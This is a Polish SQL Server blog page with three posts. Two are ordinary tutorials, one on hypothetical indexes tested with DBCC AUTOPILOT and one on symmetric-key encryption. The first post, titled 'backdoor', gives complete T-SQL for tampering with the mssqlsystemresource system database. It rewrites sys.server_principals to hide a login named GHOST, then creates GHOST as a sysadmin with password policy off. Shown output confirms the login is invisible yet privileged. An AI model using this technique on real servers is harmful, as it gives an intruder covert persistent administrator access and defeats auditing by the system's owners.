poniedziałek, 14 lutego 2011

backdoor

Dodanie bazy mssqlsystemresource do SQL 2005 zwiększyło bezpieczeństwo kodu systemowego, trzeba się trochę pobawić żeby go zmienic.
Dobrym przykładem możliwości zmiany kodu jest widok sys.server_principals, który jest używany praktycznie przy wszystkich prezentowaniach informacji o loginach serwera.
Sam Microsoft uczy nas, ukrywając przed nami bazę mssqlsystemresource używając w widokach filtra WHERE d.id < 0x7fff, że można robić to z powodzeniem. Dodając do widoku dodatkowy filtr na nasz login mamy backdoora.
Wchodzimy do folderu z bazami systemowymi i kopiujemy pliki bazy mssqlsystemresource, dodatkową ciekawostką jest to, że możemy zrobić to przy pracującej bazie ponieważ serwer nie blokuje plików zakładając, że są one tylko do odczytu, wklejamy pliki w innej lokalizacji i podpinamy je pod inną nazwą

USE [master]
GO
CREATE DATABASE [RK_mssqlsystemresource] ON
( FILENAME = N'D:\mssqlserver\MSSQL.1\MSSQL\mssqlsystemresource.mdf' ),
( FILENAME = N'D:\mssqlserver\MSSQL.1\MSSQL\mssqlsystemresource.ldf' )
 FOR ATTACH
GO
Logujemy się na serwer przy pomocy DAC i przełączamy bazę w tryb edycji

sp_dboption 'RK_mssqlsystemresource' , 'Read_Only' , 'false'          

Przechodzimy do naszej nowej bazy

USE RK_mssqlsystemresource

Zmieniamy widok

CREATE VIEW sys.server_principals AS
      SELECT p.name,
            p.id AS principal_id,
            p.sid, p.type,
            n.name AS type_desc,
            is_disabled = sysconv(bit, p.status & 0x80),
            p.crdate AS create_date,
            p.modate AS modify_date,
            p.dbname AS default_database_name,
            p.lang AS default_language_name,
            r.indepid AS credential_id
      FROM master.sys.sysxlgns p
      LEFT JOIN sys.syspalnames n ON n.class = 'LGTY' AND n.value = p.type
      LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0      -- SRC_LOGIN_CREDENTIAL
      WHERE has_access('LG', p.id) = 1
            AND p.NAME <> 'GHOST'
            AND p.type <> 'M' -- exclude component logins


Msg 195, Level 15, State 10, Procedure server_principals, Line 6
'sysconv' is not a recognized built-in function name.

W systemowych obiektach używane są wewnętrzne funkcje których parser nie widzi, zamieniamy sysconv na convert bo wydaje się że działają identycznie, has_access nie będzie nam potrzebny ;)

ALTER VIEW [sys].[server_principals] AS
      SELECT p.name,
            p.id AS principal_id,
            p.sid, p.type,
            n.name AS type_desc,
            is_disabled = convert(bit, p.status & 0x80),
            p.crdate AS create_date,
            p.modate AS modify_date,
            p.dbname AS default_database_name,
            p.lang AS default_language_name,
            r.indepid AS credential_id
      FROM master.sys.sysxlgns p
      LEFT JOIN sys.syspalnames n ON n.class = 'LGTY' AND n.value = p.type
      LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0      -- SRC_LOGIN_CREDENTIAL
      WHERE --has_access('LG', p.id) = 1
                p.NAME <> 'GHOST'
            AND p.type <> 'M' -- exclude component logins

Poszło, zmieniamy tryb edycji i odpinamy bazę RK_mssqlsystemresource

sp_dboption 'RK_mssqlsystemresource' , 'Read_Only' , 'true'
GO
EXEC master.dbo.sp_detach_db @dbname = N'RK_mssqlsystemresource'

Nadgrywamy pliki na oryginalne pliki bazy mssqlsystemresource i zakładamy ducha.

CREATE LOGIN GHOST WITH PASSWORD=N'bardzo trudne hasło', CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF
GO
EXEC master..sp_addsrvrolemember
@loginame = N'GHOST',
@rolename = N'sysadmin'
GO

Sprawdzamy widok

sp_helptext 'sys.server_principals'

CREATE VIEW [sys].[server_principals] AS
       SELECT p.name,
             p.id AS principal_id,
             p.sid, p.type,
             n.name AS type_desc,
             is_disabled = convert(bit, p.status & 0x80),
             p.crdate AS create_date,
             p.modate AS modify_date,
             p.dbname AS default_database_name,
             p.lang AS default_language_name,
             r.indepid AS credential_id
       FROM master.sys.sysxlgns p
       LEFT JOIN sys.syspalnames n ON n.class = 'LGTY' AND n.value = p.type
       LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0 -- SRC_LOGIN_CREDENTIAL
       WHERE --has_access('LG', p.id) = 1
                 p.NAME <> 'GHOST'
             AND p.type <> 'M' -- exclude component logins

No to teraz szukamy nasz login

SELECT name FROM sys.syslogins
WHERE name =N'GHOST'

name
---------------------

(0 row(s) affected)




A login jest

SELECT SUSER_SNAME(),USER_NAME(),IS_SRVROLEMEMBER ('sysadmin')

---------------------
GHOST   dbo     1

Pozostanie tam niezauważony prawdopodobnie do czasu wgrywania następnego service pack

środa, 9 lutego 2011

indeks hipotetyczny

Tworzenie indeksów na tabelach używanych przez innych  użytkowników jest koszmarem, nawet jeżeli mamy bazę w trybie administracyjny albo używamy enterprisowego ONLINE to trwa to czasami bardzo długo, dodatkowo nie mamy pewności że serwer użyje właśnie tego indeksu. Podglądając pracę Database  Engine Tubing Advisora możemy zauważyć że przyt zakładaniu testowanych indeksów używa opcji WITH STATISTICS_ONLY = -1, oznacza to, że nie jest tworzony fizyczny indeks tylko statystyki. Robimy sobie tabelę

CREATE TABLE dbo.indeks_test(id INT IDENTITY(1,1) PRIMARY KEY,
      SalesOrderID int ,
      SalesOrderDetailID int ,
      CarrierTrackingNumber nvarchar(25) ,
      OrderQty smallint ,
      ProductID int ,
      SpecialOfferID int ,
      UnitPrice money ,
      UnitPriceDiscount money ,
      LineTotal  money,
      rowguid uniqueidentifier ,
      ModifiedDate datetime )

Napełniamy ją danymi

INSERT dbo.indeks_test
SELECT *  FROM Sales.SalesOrderDetail

Mamy zapytanie do zoptymalizowania

SELECT SalesOrderDetailID,OrderQty,UnitPrice FROM dbo.indeks_test
WHERE SalesOrderDetailID BETWEEN 43668 AND 43892
AND SalesOrderID =52200
AND OrderQty =1
ORDER BY ProductID

Tworzymy dwa indeksy hipotetyczne, dla celów pokazowych nie są one idealne

CREATE INDEX ix_test1 ON dbo.indeks_test (SalesOrderDetailID,SalesOrderID)
INCLUDE (OrderQty,UnitPrice) WITH STATISTICS_ONLY = -1
GO
CREATE INDEX ix_test2 ON dbo.indeks_test (SalesOrderDetailID,SalesOrderID,OrderQty)
INCLUDE (UnitPrice,ProductID) WITH STATISTICS_ONLY = -1

Sprawdzamy jak to wygląda

sp_helpindex 'indeks_test'



SELECT name,is_hypothetical FROM sys.indexes
WHERE object_id=OBJECT_ID('indeks_test')


name                             is_hypothetical
-------------------------------- ---------------
PK__indeks_t__3213E83F1FEDB87C   0
ix_test1                         1
ix_test2                         1

Indeksy mają swoje statystyki

DBCC SHOW_STATISTICS ('indeks_test','ix_test1')
DBCC SHOW_STATISTICS ('indeks_test','ix_test2')




Problem zaczyna się jeżeli chcemy ich użyc, w zapytaniu nie zostaną użyte

SET SHOWPLAN_TEXT ON
GO
SELECT SalesOrderDetailID,OrderQty,UnitPrice FROM dbo.indeks_test
WHERE SalesOrderDetailID BETWEEN 43668 AND 43892
AND SalesOrderID =52200
AND OrderQty =1
ORDER BY ProductID

GO
SET SHOWPLAN_TEXT OFF

StmtText
----------------------------------------------------------------------------------------------
  |--Sort(ORDER BY:([AdventureWorks].[dbo].[indeks_test].[ProductID] ASC))
       |--Clustered Index Scan(OBJECT:([AdventureWorks].[dbo].[indeks_test].[PK__indeks_t__3213E83F1FEDB87C]), WHERE:([AdventureWorks].[dbo].[indeks_test].[SalesOrderDetailID]>=(43668) AND [AdventureWorks].[dbo].[indeks_test].[SalesOrderDetailID]<=(43892)





Nie można też wymusić ich użycia

SELECT SalesOrderDetailID,OrderQty,UnitPrice FROM dbo.indeks_test  WITH(index=ix_test1)
WHERE SalesOrderDetailID BETWEEN 43668 AND 43892
AND SalesOrderID =52200
AND OrderQty =1
ORDER BY ProductID

Msg 308, Level 16, State 1, Line 1
Index 'ix_test1' on table 'dbo.indeks_test' (specified in the FROM clause) does not exist.

Żeby uzyc indeksu hipotetycznego musimy zastosowac kombinację DBCC AUTOPILOT i SET AUTOPILOT

select DB_ID(),OBJECT_ID('indeks_test')-- =5,503672842
DBCC AUTOPILOT (0,5,503672842,5,0,0) --dla ix_test1
GO
SET AUTOPILOT ON
GO
SELECT SalesOrderDetailID,OrderQty,UnitPrice FROM dbo.indeks_test
WHERE SalesOrderDetailID BETWEEN 43668 AND 43892
AND SalesOrderID =52200
AND OrderQty =1
ORDER BY ProductID

Dostajemy wynik




Teraz drugi indeks

SET AUTOPILOT OFF
GO
DBCC AUTOPILOT (0,5,503672842,6,0,0) --dla ix_test2
GO
SET AUTOPILOT ON
GO
SELECT SalesOrderDetailID,OrderQty,UnitPrice FROM dbo.indeks_test
WHERE SalesOrderDetailID BETWEEN 43668 AND 43892
AND SalesOrderID =52200
AND OrderQty =1
ORDER BY ProductID


Dostajemy wynik





Możemy zobaczyć, że z wybranych indeksów najlepszy jest ix_test2 i to jego wybierze optymalizator.

Brakuje jasnej dokumentacji DBCC AUTOPILOT ale mam wrażenie, że to potężne narzędzie

niedziela, 6 lutego 2011

szyfrowanie

Szyfrowanie w SQL Server to temat rzeka, standardowo administrator tworzy klucze i certyfikaty dane są  szyfrowane i sprawa załatwiona. Co możemy zrobić jeżeli mamy tabelę w której dane są zaszyfrowane kilkoma kluczami, jak sprawdzić którymi i czy któryś z kluczy nie został usunięty.

Tworzymy bazę do zabawy

CREATE DATABASE test;
USE test;

Tabelę przechowującą zaszyfrowane dane

CREATE TABLE test (
            id INT IDENTITY(1,1) PRIMARY KEY,
            konto VARBINARY(100)
            );

Tworzymy hierarchię szyfrowania, główny klucz bazy

CREATE MASTER KEY
ENCRYPTION BY PASSWORD ='#####....bardzo długie I skomplikowane hasło @@@@@...'

Przy jego pomocy szyfrujemy certyfikat

CREATE CERTIFICATE certyfikat
WITH SUBJECT ='certyfikat do testów';

Tworzymy klucze symetryczne do szyfrowania danych, które są zaszyfrowane certyfikatem


CREATE SYMMETRIC KEY key1
WITH ALGORITHM =TRIPLE_DES
ENCRYPTION BY CERTIFICATE certyfikat;

CREATE SYMMETRIC KEY key2
WITH ALGORITHM =AES_128
ENCRYPTION BY CERTIFICATE certyfikat;

CREATE SYMMETRIC KEY key3
WITH ALGORITHM =AES_192
ENCRYPTION BY CERTIFICATE certyfikat;

CREATE SYMMETRIC KEY key4
WITH ALGORITHM =TRIPLE_DES_3KEY
ENCRYPTION BY CERTIFICATE certyfikat;

Otwieramy klucze

OPEN SYMMETRIC KEY key1
DECRYPTION BY CERTIFICATE certyfikat;
OPEN SYMMETRIC KEY key2
DECRYPTION BY CERTIFICATE certyfikat;
OPEN SYMMETRIC KEY key3
DECRYPTION BY CERTIFICATE certyfikat;
OPEN SYMMETRIC KEY key4
DECRYPTION BY CERTIFICATE certyfikat;

Dodajemy dane do tabeli szyfrując je wcześniej otwartymi kluczami

INSERT INTO dbo.test
VALUES      (ENCRYPTBYKEY(KEY_GUID('key1'),'111-222-333-444-555')),
            (ENCRYPTBYKEY(KEY_GUID('key2'),'222-333-444-555-666')),
            (ENCRYPTBYKEY(KEY_GUID('key3'),'333-444-555-666-777')),
            (ENCRYPTBYKEY(KEY_GUID('key4'),'444-555-666-777-888'));
W wyniku dostajemy

SELECT * FROM dbo.test;



Po odszyfrowaniu, możemy zobaczyć dane

SELECT id,
CONVERT (VARCHAR,DECRYPTBYKEY(konto)) AS konto
FROM dbo.test;

id          konto
----------- ------------------------------
1           111-222-333-444-555
2           222-333-444-555-666
3           333-444-555-666-777
4           444-555-666-777-888

(4 row(s) affected)

Żeby zobaczyć jakiego klucza użyliśmy i jaki jest jego algorytm możemy użyć zapytania

SELECT k.name AS klucz ,k.algorithm_desc,t.* FROM dbo.test t
LEFT JOIN sys.symmetric_keys k
ON convert(UNIQUEIDENTIFIER,t.konto)=k.key_guid



Jeżeli używaliśmy kluczy symetrycznych i mamy null w którymś wierszu może oznaczać brak klucza do odszyfrowania